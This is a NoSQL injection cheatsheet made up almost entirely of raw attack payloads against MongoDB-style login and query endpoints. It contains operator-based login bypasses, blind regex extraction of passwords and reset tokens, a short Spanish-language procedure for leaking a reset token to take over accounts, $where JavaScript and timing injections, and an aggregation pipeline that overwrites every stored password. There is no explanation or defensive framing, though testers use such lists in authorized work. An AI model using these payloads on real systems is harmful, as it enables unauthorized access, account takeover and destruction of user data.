Cheatsheet NoSQL Injection

username[$ne]=toto&password[$ne]=toto

username[$regex]=.*&password[$regex]=.*

username[$exists]=true&password[$exists]=true

{"username": {"$ne": null}, "password": {"$ne": null}}

{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}

{"username": {"$gt": undefined}, "password": {"$gt": undefined}}

{"username": {"$gt": ""}, "password": {"$gt": ""}}

username[$ne]=1&password[$ne]=1

username[$regex]=^adm&password[$ne]=1

username[$regex]=.{25}&pass[$ne]=1

username[$eq]=admin&password[$ne]=1

username[$ne]=admin&pass[$lt]=s

username[$ne]=admin&pass[$gt]=s

username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7

{"username":{"$in":["Admin","admin","root","administrator"]},"password":{"$gt":""}}

{"token": {"$regex": "^A"}}

{"token": {"$regex": "^Ab"}}

1. POST /forgot-password (generar token)
2. {"token": {"$regex": "^A"}} -> probar A-Z, 0-9
3. Match = caracter correcto -> continuar
4. Leak token completo -> cambiar password -> ATO

{"password": {"$regex": "^[a-m]"}}

' || 1==1//

' || 1==1%00

'=='

{"$where": "this.username==='admin' && (()=>{ throw this.secret })()"}

admin'+function(x){var waitTill=new Date(new Date().getTime()+5000);while((x.password[0]==="a") && waitTill>new Date()){};}(this)+'

';sleep(5000);

[{"$lookup":{"from":"users","pipeline":[{"$match":{"_id":{"$ne":""}}}],"as":"leaked"}},{"$unwind":"$leaked"}]

[{"$skip":999},{"$unionWith":"users"},{"$set":{"password":"hacked"}},{"$out":"users"}]

{"username": {"not": "admin"}, "email": {"startsWith": "a"}}